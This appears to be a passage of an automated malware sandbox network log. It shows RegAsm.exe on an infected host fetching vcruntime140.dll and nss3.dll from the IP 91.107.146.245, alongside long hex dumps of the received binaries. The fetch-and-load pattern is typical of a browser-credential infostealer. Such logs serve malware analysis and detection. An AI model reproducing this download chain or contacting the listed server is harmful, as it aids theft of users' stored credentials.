2024-09-18 12:31:00 UTC	16384	IN	Data Raw: f9 02 10 88 41 02 0f b6 41 03 d1 e8 8a 80 68 f9 02 10 88 41 03 0f b6 41 04 d1 e8 8a 80 68 f9 02 10 88 41 04 0f b6 41 05 d1 e8 8a 80 68 f9 02 10 88 41 05 0f b6 41 06 d1 e8 8a 80 68 f9 02 10 88 41 06 0f b6 41 07 d1 e8 8a 80 68 f9 02 10 88 41 07 ba 01 01 01 01 8b 31 31 d6 33 51 04 b8 01 00 00 00 09 f2 0f 84 37 01 00 00 ba 1f 1f 1f 1f 33 11 be 0e 0e 0e 0e 33 71 04 09 d6 0f 84 20 01 00 00 ba e0 e0 e0 e0 33 11 be f1 f1 f1 f1 33 71 04 09 d6 0f 84 09 01 00 00 ba fe fe fe fe 8b 31 31 d6 33 51 04 09 f2 0f 84 f5 00 00 00 ba 01 fe 01 fe 8b 31 31 d6 33 51 04 09 f2 0f 84 e1 00 00 00 ba fe 01 fe 01 8b 31 31 d6 33 51 04 09 f2 0f 84 cd 00 00 00 ba 1f e0 1f e0 33 11 be 0e f1 0e f1 33 71 04 09 d6 0f 84 b6 00 00 00 ba e0 1f e0 1f 33 11 be f1 0e f1 0e 33 71 04 09 d6 0f 84 9f Data Ascii: AAhAAhAAhAAhAAhA113Q733q 33q113Q113Q113Q33q33q
2024-09-18 12:31:00 UTC	16384	IN	Data Raw: 85 c0 0f 84 30 07 00 00 83 7b 08 14 0f 84 43 01 00 00 e9 21 07 00 00 3d 50 06 00 00 0f 8f aa 01 00 00 3d 51 05 00 00 74 2d 3d 52 05 00 00 74 12 3d 55 05 00 00 0f 85 0a 07 00 00 c7 47 0c 01 00 00 00 83 7b 04 00 0f 84 ec 06 00 00 83 7b 08 10 0f 85 e2 06 00 00 c7 47 18 10 00 00 00 83 7c 24 24 25 0f 85 fb 07 00 00 6a 11 ff 74 24 30 e8 44 c7 00 00 83 c4 08 85 c0 0f 84 78 09 00 00 89 c7 31 c0 81 3b 51 05 00 00 0f 95 c0 ff 77 1c 8b 4d 20 51 50 ff 73 04 ff 77 18 e8 09 1e ff ff 83 c4 14 8b 4c 24 28 89 41 64 57 e8 a9 c6 00 00 83 c4 04 8b 44 24 28 83 78 64 00 0f 84 bf 08 00 00 83 7d 20 00 b9 60 2a 00 10 ba 20 2a 00 10 0f 44 d1 89 50 74 c7 80 84 00 00 00 e0 29 00 10 e9 eb 08 00 00 3d 09 21 00 00 0f 8e 1c 02 00 00 3d 0a 21 00 00 0f 84 08 02 00 00 3d 0b 21 00 00 0f 84 Data Ascii: 0{C!=P=Qt-=Rt=UG{{G\|$$%jt$0Dx1;QwM QPswL$(AdWD$(xd} `* *DPt)=!=!=!
2024-09-18 12:31:00 UTC	16384	IN	Data Raw: 5e 5f 5b 5d c3 cc cc 55 89 e5 53 57 56 83 ec 10 a1 14 90 03 10 31 e8 89 45 f0 ff 75 08 e8 35 ab 00 00 83 c4 04 85 c0 74 5f 89 c6 8b 78 38 bb 91 00 00 00 85 ff 74 56 83 3f 03 75 51 8b 4d 18 8b 47 04 83 7d 14 00 74 59 8b 5d 0c 85 c0 74 64 89 ce 8b 4d 08 89 da 6a 03 ff 75 10 e8 47 fa ff ff 83 c4 08 89 c3 85 c0 75 24 56 ff 75 14 ff 75 08 e8 72 fd ff ff 83 c4 0c 89 c6 8b 4d f0 31 e9 e8 a3 8b 01 00 89 f0 eb 11 bb b3 00 00 00 8b 4d f0 31 e9 e8 90 8b 01 00 89 d8 83 c4 10 5e 5f 5b 5d c3 85 c0 74 06 83 7f 68 00 74 5a 81 c7 90 00 00 00 eb 55 8b 01 89 45 e8 8b 47 64 89 45 e4 8b 4f 74 ff 15 00 a0 03 10 8d 45 ec ff 75 10 53 ff 75 e8 50 ff 75 14 ff 75 e4 ff d1 83 c4 18 85 c0 74 32 e8 a1 8d 01 00 50 e8 eb 84 00 00 83 c4 04 8b 55 ec 8b 4d 18 89 11 bb 50 01 00 00 3d 50 01 Data Ascii: ^_[]USWV1Eu5t_x8tV?uQMG}tY]tdMjuGu$VuurM1M1^_[]thtZUEGdEOtEuSuPuut2PUMP=P
2024-09-18 12:31:00 UTC	16384	IN	Data Raw: 74 77 8b 75 20 85 f6 7e 7a 8b 7d 1c 83 c7 08 c7 45 d8 00 00 00 00 c7 45 d4 04 00 00 00 eb 18 0f 1f 84 00 00 00 00 00 8b 47 fc 8b 00 89 45 d8 83 c7 0c 83 c6 ff 74 5a 8b 47 f8 85 c0 74 19 3d 61 01 00 00 74 e2 8b 4f fc eb 15 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 8b 4f fc 8b 11 89 55 d4 ff 37 51 50 ff 75 dc e8 8c 53 00 00 83 c4 10 85 c0 74 bd 89 c3 e9 80 01 00 00 bf 02 00 00 00 e9 83 01 00 00 c7 45 d4 04 00 00 00 c7 45 d8 00 00 00 00 8b 45 10 8b 4d 0c 83 ec 1c 0f 28 05 40 fb 02 10 0f 11 44 24 0c 89 44 24 08 89 4c 24 04 8b 45 08 89 04 24 e8 fe 7c ff ff 83 c4 1c 85 c0 74 0c 89 c3 ff 75 dc e8 7d 5a 00 00 eb 3d 8b 7d 18 8b 5d 14 57 e8 8b 4d 01 00 83 c4 04 89 c6 89 7d ec 8d 45 ec 50 56 57 53 ff 75 08 e8 e8 9a ff ff 83 c4 14 85 c0 74 26 89 c3 ff 75 dc e8 47 5a 00 Data Ascii: twu ~z}EEGEtZGt=atOf.OU7QPuStEEEM(@D$D$L$E$\|tu}Z=}]WM}EPVWSut&uGZ
2024-09-18 12:31:00 UTC	16384	IN	Data Raw: 8b 37 ff 75 08 e8 4d 2b 00 00 83 c4 04 85 c0 74 51 8b 48 38 b8 91 00 00 00 85 c9 74 4a 83 39 02 75 45 83 79 04 00 74 3f 8b 55 0c 8b 59 6c 83 c3 08 89 1f 31 c0 85 d2 74 2e b8 50 01 00 00 39 de 72 25 8b 01 89 02 8b 41 70 89 42 04 83 c2 08 ff 71 6c ff 71 64 52 e8 cc 0f 01 00 83 c4 0c 31 c0 eb 05 b8 b3 00 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 10 8b 7d 10 a1 14 90 03 10 31 e8 89 45 f0 85 ff 0f 84 2d 01 00 00 8b 5d 0c 8b 33 ff 75 08 e8 b5 2a 00 00 83 c4 04 b9 b3 00 00 00 85 c0 0f 84 12 01 00 00 83 fe 0a 0f 87 f7 00 00 00 b9 78 06 00 00 0f a3 f1 73 12 8d 48 38 eb 1a 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 b9 83 01 00 00 0f a3 f1 73 e4 8d 48 34 8b 09 83 fe 0a 77 2f ba 78 06 00 00 0f a3 f2 73 12 83 c0 38 eb 1a 66 2e 0f 1f 84 Data Ascii: 7uM+tQH8tJ9uEyt?UYl1t.P9r%ApBqlqdR1^_[]USWV}1E-]3u*xsH8f.sH4w/xs8f.
2024-09-18 12:31:00 UTC	16384	IN	Data Raw: 00 40 00 00 5d c3 b8 00 00 08 00 5d c3 cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 ff 75 08 e8 c2 d8 ff ff 83 c4 04 85 c0 0f 84 9c 03 00 00 89 c6 c7 40 24 00 00 00 00 bf 02 00 00 00 83 78 0c 00 0f 88 54 03 00 00 ff 76 34 ff 15 f0 7b 03 10 83 c4 04 8b 46 34 8b 5e 40 8d 4b 01 89 4e 40 50 ff 15 10 7c 03 10 83 c4 04 83 fb 2c 0f 8f 29 03 00 00 6b c3 54 8d 0c 06 83 c1 64 89 4c 06 5c c7 44 06 64 57 43 53 ce c7 44 06 60 04 00 00 00 c7 44 06 58 00 00 00 00 c7 44 06 54 00 00 00 00 0f 57 c0 0f 11 44 06 44 83 7e 0c 00 0f 88 ea 02 00 00 8d 1c 06 83 c3 44 ff 76 34 ff 15 f0 7b 03 10 83 c4 04 69 4b 10 c5 90 c6 6a 8b 86 0c 0f 00 00 83 c0 ff 21 c8 8b 8c 86 10 0f 00 00 89 0b c7 43 04 00 00 00 00 8b 8c 86 10 0f 00 00 85 c9 74 03 89 59 04 89 9c 86 10 0f 00 00 ff 76 34 ff Data Ascii: @]]USWVu@$xTv4{F4^@KN@P\|,)kTdL\DdWCSD`DXDTWDD~Dv4{iKj!CtYv4
2024-09-18 12:31:00 UTC	16384	IN	Data Raw: eb e4 89 c7 eb 02 31 ff 8b 4d f0 31 e9 e8 15 8c 00 00 89 f8 81 c4 3c 01 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 89 d6 89 cf 8b 5d 08 8b 4b 24 ff 15 00 a0 03 10 ff 75 14 ff 75 10 ff 75 0c 53 ff d1 83 c4 10 85 c0 75 1e 31 c0 39 5e 34 0f 94 c0 89 f9 89 f2 ff 75 14 ff 75 10 ff 75 0c 50 e8 1c 2b 00 00 83 c4 10 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 83 ec 10 8b 45 08 8b 0d 14 90 03 10 31 e9 89 4d f0 c7 45 ec 00 00 00 00 85 c0 74 63 8b 75 10 8b 58 34 85 db 74 5d 85 f6 74 5f 8b 4d 0c 8d 45 e8 8d 7d ec 89 f2 50 57 e8 8e 00 00 00 83 c4 08 85 c0 74 60 89 c7 8b 45 ec 89 45 e4 8b 4b 14 ff 15 00 a0 03 10 ff 75 14 56 57 53 8b 5d e4 ff d1 83 c4 10 89 c6 85 db 74 40 57 e8 96 8d 00 00 83 c4 04 ff 75 e8 53 e8 b4 8d 00 00 83 c4 08 eb 29 31 f6 eb Data Ascii: 1M1<^_[]USWV]K$uuuSu19^4uuuP+^_[]USWVE1MEtcuX4t]t_ME}PWt`EEKuVWS]t@WuS)1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.7	49786	91.107.146.245	443	5220	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:31:02 UTC	250	OUT	GET /vcruntime140.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 91.107.146.245 Connection: Keep-Alive Cache-Control: no-cache
2024-09-18 12:31:03 UTC	262	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:31:03 GMT Content-Type: application/octet-stream Content-Length: 80880 Connection: close Last-Modified: Wednesday, 18-Sep-2024 12:31:03 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-18 12:31:03 UTC	16122	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"
2024-09-18 12:31:03 UTC	16384	IN	Data Raw: 02 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 03 0f b6 42 03 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 6f 05 00 00 8b 46 04 3b 42 04 74 4f 0f b6 f8 0f b6 42 04 2b f8 75 18 0f b6 7e 05 0f b6 42 05 2b f8 75 0c 0f b6 7e 06 0f b6 42 06 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 07 0f b6 42 07 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 0e 05 00 00 8b 46 08 3b 42 08 74 4f 0f b6 f8 0f b6 42 08 2b f8 75 18 0f b6 7e 09 0f b6 42 09 2b f8 75 0c 0f b6 7e 0a 0f b6 42 0a 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 0b 0f b6 42 0b 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 ad 04 00 00 8b 46 Data Ascii: +t3MNB+t3E3oF;BtOB+u~B+u~B+t3MNB+t3E3F;BtOB+u~B+u~B+t3MNB+t3E3F
2024-09-18 12:31:03 UTC	16384	IN	Data Raw: 00 75 08 8b 45 94 a3 a4 f2 00 10 8d 45 cc 50 e8 39 08 00 00 59 6a 28 8d 4d 80 8b f0 e8 67 f3 ff ff 56 8d 4d f0 51 8b c8 e8 0a f7 ff ff 6a 29 8d 85 70 ff ff ff 50 8d 4d f0 e8 1b f7 ff ff 50 8d 4d f8 e8 78 f7 ff ff 81 7d dc 00 08 00 00 75 1a 8b c3 25 00 07 00 00 3d 00 02 00 00 74 0c 8d 45 98 50 8d 4d f8 e8 55 f7 ff ff a1 98 f2 00 10 c1 e8 13 f7 d0 a8 01 8d 45 cc 50 74 11 e8 92 2e 00 00 59 50 8d 4d f8 e8 34 f7 ff ff eb 0f e8 81 2e 00 00 59 50 8d 4d f8 e8 9f f8 ff ff 8d 45 cc 50 e8 69 23 00 00 59 50 8d 4d f8 e8 10 f7 ff ff a1 98 f2 00 10 c1 e8 08 f7 d0 a8 01 8d 45 cc 50 74 11 e8 30 3e 00 00 59 50 8d 4d f8 e8 ef f6 ff ff eb 0f e8 1f 3e 00 00 59 50 8d 4d f8 e8 5a f8 ff ff 8d 45 cc 50 e8 6a 19 00 00 59 50 8d 4d f8 e8 47 f8 ff ff a1 98 f2 00 10 c1 e8 02 f7 d0 a8 Data Ascii: uEEP9Yj(MgVMQj)pPMPMx}u%=tEPMUEPt.YPM4.YPMEPi#YPMEPt0>YPM>YPMZEPjYPMG
2024-09-18 12:31:03 UTC	16384	IN	Data Raw: 8b d0 81 c9 00 08 00 00 83 e2 18 74 1c 83 fa 08 74 0f 83 fa 10 74 15 b8 ff ff 00 00 e9 f7 01 00 00 81 c9 80 00 00 00 eb 03 83 c9 40 83 e0 06 2b c7 0f 84 df 01 00 00 2b c6 74 1e 2b c6 74 0f 2b c6 75 d4 81 c9 00 04 00 00 e9 c8 01 00 00 81 c9 00 01 00 00 e9 bd 01 00 00 81 c9 00 02 00 00 e9 b2 01 00 00 2b c6 75 af 8d 51 01 89 15 90 f2 00 10 8a 02 3c 30 7c 2a 3c 39 7f 26 0f be c0 83 c2 d1 03 c2 a3 90 f2 00 10 e8 8c fe ff ff 0d 00 00 01 00 e9 81 01 00 00 b8 fe ff 00 00 e9 77 01 00 00 b9 ff ff 00 00 e9 dc 00 00 00 83 f8 2f 0f 8e 63 ff ff ff 8b f2 83 f8 35 7e 62 83 f8 41 0f 85 53 ff ff ff 81 c9 00 90 00 00 e9 b8 00 00 00 b9 fe ff 00 00 4a e9 ad 00 00 00 81 c9 00 98 00 00 e9 a2 00 00 00 83 e8 43 0f 84 94 00 00 00 83 e8 01 0f 84 83 00 00 00 83 e8 01 74 76 83 e8 0d Data Ascii: ttt@++t+t+u+uQ<0\|*<9&w/c5~bASJCtv
2024-09-18 12:31:03 UTC	15606	IN	Data Raw: 4e 54 cf 8f f8 b4 e9 00 40 03 d5 1c 16 4c d1 c1 d6 ae e8 7c cd cc c1 be ea d2 ff 35 4e c0 ce b5 7a ad bb a6 bb 2e dc 94 e9 f3 1e 7d e0 ec 28 a3 07 82 66 5a c3 5b 5a cb ec 03 c9 e3 2c 94 15 21 2b a0 f9 d9 9b 4b e7 b6 de eb 20 51 8c 3e fa 2c 23 d5 18 b0 f0 b1 a0 70 6c 7a ef 8b 83 48 a6 3a 02 06 ef a0 8a 2c b7 88 45 30 82 05 ff 30 82 03 e7 a0 03 02 01 02 02 13 33 00 00 01 51 9e 8d 8f 40 71 a3 0e 41 00 00 00 00 01 51 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 7e 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 28 30 26 06 03 55 04 03 13 1f 4d 69 63 72 Data Ascii: NT@L\|5Nz.}(fZ[Z,!+K Q>,#plzH:,E003Q@qAQ0*H0~10UUS10UWashington10URedmond10UMicrosoft Corporation1(0&UMicr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.7	49789	91.107.146.245	443	5220	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:31:04 UTC	242	OUT	GET /nss3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 91.107.146.245 Connection: Keep-Alive Cache-Control: no-cache
2024-09-18 12:31:04 UTC	264	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:31:04 GMT Content-Type: application/octet-stream Content-Length: 2046288 Connection: close Last-Modified: Wednesday, 18-Sep-2024 12:31:04 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-18 12:31:04 UTC	16120	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@
2024-09-18 12:31:04 UTC	16384	IN	Data Raw: ee 1f 01 f2 6b d2 64 89 c7 29 d7 c1 fb 15 01 f3 89 c2 69 f3 90 01 00 00 29 f0 83 e2 03 66 85 d2 0f 94 c2 66 85 ff 0f 95 c6 20 d6 66 85 c0 0f 94 c0 08 f0 0f b6 c0 8d 04 40 8b 55 f0 0f be 84 82 20 7c 1a 10 89 41 10 8a 41 1a fe c8 0f b6 c0 ba 06 00 00 00 0f 49 d0 88 51 1a e9 f7 fe ff ff 83 c2 e8 89 51 0c 8b 41 10 89 45 f0 8b 71 14 40 89 41 10 66 ff 41 1c 0f b7 41 18 a8 03 0f 94 c3 69 f8 29 5c 00 00 8d 97 1c 05 00 00 66 c1 ca 02 0f b7 d2 81 fa 8f 02 00 00 0f 93 c2 20 da 81 c7 10 05 00 00 66 c1 cf 04 0f b7 ff 81 ff a3 00 00 00 0f 92 c6 08 d6 0f b6 d6 8d 14 52 0f be 94 96 20 7c 1a 10 39 55 f0 7c 26 89 f7 c7 41 10 01 00 00 00 8d 56 01 89 51 14 83 fe 0b 7c 12 c7 41 14 00 00 00 00 40 66 89 41 18 66 c7 41 1c 00 00 8a 41 1a fe c0 31 d2 3c 07 0f b6 c0 0f 4d c2 88 41 Data Ascii: kd)i)ff f@U \|AAIQQAEq@AfAAi)\f fR \|9U\|&AVQ\|A@fAfAA1<MA
2024-09-18 12:31:04 UTC	16384	IN	Data Raw: 68 52 f4 1b 10 51 e8 3d b8 06 00 83 c4 0c 66 83 7f 06 00 74 69 31 db 8b 44 9f 14 be 48 01 1d 10 85 c0 74 02 8b 30 68 d3 fe 1b 10 56 e8 f7 5b 19 00 83 c4 08 85 c0 b8 79 64 1c 10 0f 45 c6 8b 4f 10 0f b6 0c 19 f6 c1 02 ba 98 dc 1c 10 be 48 01 1d 10 0f 44 d6 f6 c1 01 b9 b1 de 1c 10 0f 44 ce 50 52 51 68 7f a0 1b 10 8d 44 24 60 50 e8 d6 b7 06 00 83 c4 14 43 0f b7 47 06 39 c3 72 99 8b 44 24 60 8d 48 01 3b 4c 24 58 0f 83 b7 03 00 00 89 4c 24 60 8b 4c 24 54 c6 04 01 29 eb 25 8b 44 24 04 8b 4c 24 08 8b 44 81 10 0f be 08 8d 54 24 50 51 ff 70 20 68 2c e2 1c 10 52 e8 89 b7 06 00 83 c4 10 f6 44 24 64 07 0f 85 4b 03 00 00 8b 44 24 54 85 c0 74 21 8b 4c 24 60 c6 04 08 00 83 7c 24 5c 00 74 12 f6 44 24 65 04 75 0b 8d 4c 24 50 e8 d4 68 06 00 eb 04 8b 44 24 54 89 44 24 18 8b Data Ascii: hRQ=fti1DHt0hV[ydEOHDDPRQhD$`PCG9rD$`H;L$XL$`L$T)%D$L$DT$PQp h,RD$dKD$Tt!L$`\|$\tD$euL$PhD$TD$
2024-09-18 12:31:04 UTC	16384	IN	Data Raw: 77 40 a1 08 11 1e 10 40 a3 08 11 1e 10 3b 05 30 11 1e 10 77 26 8b 35 38 11 1e 10 85 f6 74 15 8b 0d 78 e0 1d 10 81 f9 80 c2 12 10 75 7b 56 ff 15 68 cc 1d 10 89 f8 5e 5f 5b 5d c3 a3 30 11 1e 10 eb d3 a3 0c 11 1e 10 eb b9 89 3d 20 11 1e 10 e9 54 ff ff ff 31 ff eb dc 8b 0d 40 e0 1d 10 ff 15 00 40 1e 10 57 ff d1 83 c4 04 eb ca ff 15 00 40 1e 10 56 ff d1 83 c4 04 e9 0b ff ff ff 89 f7 c1 ff 1f 29 f1 19 f8 31 d2 39 0d e4 10 1e 10 19 c2 7d 27 c7 05 50 11 1e 10 00 00 00 00 e9 20 ff ff ff 31 ff e9 6d ff ff ff ff 15 00 40 1e 10 56 ff d1 83 c4 04 e9 7b ff ff ff c7 05 50 11 1e 10 01 00 00 00 8b 1d 38 11 1e 10 85 db 74 2e 8b 0d 78 e0 1d 10 ff 15 00 40 1e 10 53 ff d1 83 c4 04 8b 1d 38 11 1e 10 85 db 74 12 8b 0d 70 e0 1d 10 ff 15 00 40 1e 10 53 ff d1 83 c4 04 a1 4c 11 1e Data Ascii: w@@;0w&58txu{Vh^_[]0= T1@@W@V)19}'P 1m@V{P8t.x@S8tp@SL
2024-09-18 12:31:04 UTC	16384	IN	Data Raw: ff ff 8b 44 24 08 8a 40 12 e9 fc fc ff ff 8b 44 24 08 8b 70 44 8b 06 85 c0 0f 84 81 fd ff ff 8b 48 04 ff 15 00 40 1e 10 56 ff d1 83 c4 04 c7 06 00 00 00 00 e9 67 fd ff ff 8b 44 24 08 8b 70 40 8b 06 85 c0 74 2d 8b 4c 24 08 80 79 0d 00 75 11 8b 48 20 ff 15 00 40 1e 10 6a 01 56 ff d1 83 c4 08 8b 44 24 08 80 78 12 05 74 08 8b 44 24 08 c6 40 12 01 8b 4c 24 08 8a 41 0c 88 41 13 e9 13 fe ff ff 8b 44 24 08 8b 30 8b 4e 1c 85 c9 0f 84 88 fa ff ff 8b 44 24 08 8b b8 ec 00 00 00 ff 15 00 40 1e 10 6a 00 57 56 ff d1 83 c4 0c 89 44 24 0c e9 72 f6 ff ff 8b 4c 24 08 89 81 a0 00 00 00 e9 f7 f9 ff ff 8b 48 04 ff 15 00 40 1e 10 56 ff d1 83 c4 04 c7 06 00 00 00 00 e9 26 fa ff ff 31 f6 46 e9 d2 fc ff ff 31 db f6 44 24 1c 01 0f 84 40 fe ff ff 68 40 7e 1c 10 68 83 e4 00 00 68 14 Data Ascii: D$@D$pDH@VgD$p@t-L$yuH @jVD$xtD$@L$AAD$0ND$@jWVD$rL$H@V&1F1D$@h@~hh
2024-09-18 12:31:04 UTC	16384	IN	Data Raw: 24 18 89 d8 25 ff ff ff 7f 89 44 24 1c 85 f6 7e 6f 8b 7d 0c 89 54 24 04 8b 0d 30 e4 1d 10 8b 45 08 8b 40 08 89 04 24 ff 15 00 40 1e 10 8d 44 24 10 50 8d 44 24 10 50 56 57 ff 74 24 10 ff d1 85 c0 0f 84 92 00 00 00 8b 44 24 0c 85 c0 8b 54 24 04 74 42 29 c6 72 3e 01 c2 83 d3 00 89 54 24 18 89 d9 81 e1 ff ff ff 7f 89 4c 24 1c 01 c7 85 f6 7f a2 8b 44 24 24 85 c0 0f 85 92 00 00 00 31 ff 8b 4c 24 28 31 e9 e8 9d 64 13 00 89 f8 8d 65 f4 5e 5f 5b 5d c3 8b 0d 8c e2 1d 10 ff 15 00 40 1e 10 ff d1 89 c2 8b 45 08 89 50 14 83 fa 70 74 05 83 fa 27 75 3f bf 0d 00 00 00 b9 0d 00 00 00 68 ee b2 00 00 8b 45 08 ff 70 1c 68 65 8a 1c 10 e8 c4 1e 14 00 83 c4 0c eb a7 8d 4c 24 24 8d 54 24 08 e8 12 20 14 00 85 c0 0f 85 2a ff ff ff 8b 54 24 08 eb b1 bf 0a 03 00 00 b9 0a 03 00 00 68 Data Ascii: $%D$~o}T$0E@$@D$PD$PVWt$D$T$tB)r>T$L$D$$1L$(1de^_[]@EPpt'u?hEpheL$$T$ *T$h
2024-09-18 12:31:04 UTC	16384	IN	Data Raw: 46 64 8b 0c 38 e8 8e f3 ff ff 43 83 c7 30 3b 5e 68 7c ec 8b 44 24 0c 89 46 68 83 7c 24 04 01 75 72 8b 56 64 8d 1c 40 c1 e3 04 83 7c 1a 1c 00 74 4b 8b 4e 48 8b 01 85 c0 74 42 3d 58 00 1a 10 75 34 8b 86 a8 00 00 00 8b be ac 00 00 00 83 c0 04 83 d7 00 89 74 24 04 89 d6 8b 54 1a 18 0f af fa f7 e2 01 fa 52 50 51 e8 8c 45 12 00 89 f2 8b 74 24 10 83 c4 0c 8b 44 1a 18 89 46 38 31 ff 8b 4c 24 30 31 e9 e8 9f 24 13 00 89 f8 8d 65 f4 5e 5f 5b 5d c3 89 74 24 04 8b 86 e8 00 00 00 89 44 24 08 85 c0 0f 84 88 01 00 00 83 7c 24 0c 00 0f 84 ac 00 00 00 8b 44 24 04 8b 70 64 85 f6 0f 84 9d 00 00 00 8b 44 24 0c 48 8d 3c 40 c1 e7 04 8b 44 3e 14 89 44 24 0c b9 00 02 00 00 31 d2 e8 56 3e ff ff 89 44 24 18 85 c0 0f 84 ce 02 00 00 8d 04 3e 89 44 24 14 8d 04 3e 83 c0 14 89 44 24 08 Data Ascii: Fd8C0;^h\|D$Fh\|$urVd@\|tKNHtB=Xu4t$TRPQEt$DF81L$01$e^_[]t$D$\|$D$pdD$H<@D>D$1V>D$>D$>D$
2024-09-18 12:31:04 UTC	16384	IN	Data Raw: e9 e7 00 00 00 8b 99 4c 01 00 00 85 db 0f 85 82 00 00 00 8b 99 48 01 00 00 85 db 75 6b 8b 99 44 01 00 00 85 db 75 7b ff 81 40 01 00 00 8a 5d f3 88 d8 50 e8 d0 ca 11 00 83 c4 04 89 c3 85 c0 0f 84 a7 00 00 00 57 ff 75 e4 53 e8 0f 1c 18 00 83 c4 0c c6 04 3b 00 8d 04 b6 8b 4d ec 8d 04 81 83 c0 0c 89 18 0f b6 0b 80 b9 7a f8 19 10 00 78 4a 8b 4d e8 80 b9 d0 00 00 00 02 0f 83 83 00 00 00 83 c4 10 5e 5f 5b 5d c3 8b 03 89 81 48 01 00 00 e9 50 ff ff ff 8b 03 89 81 4c 01 00 00 e9 43 ff ff ff 8b 03 89 81 44 01 00 00 e9 36 ff ff ff ff 81 3c 01 00 00 e9 73 ff ff ff 80 f9 5b 0f b6 c9 ba 5d 00 00 00 0f 45 d1 89 55 ec 31 f6 46 89 df 8a 0c 33 3a 4d ec 74 06 88 0f 46 47 eb f2 8b 4d ec 38 4c 33 01 74 2d c6 07 00 eb 84 8d 04 b6 8b 4d ec 8d 04 81 83 c0 0c c7 00 00 00 00 00 e9 Data Ascii: LHukDu{@]PWuS;MzxJM^_[]HPLCD6<s[]EU1F3:MtFGM8L3t-M
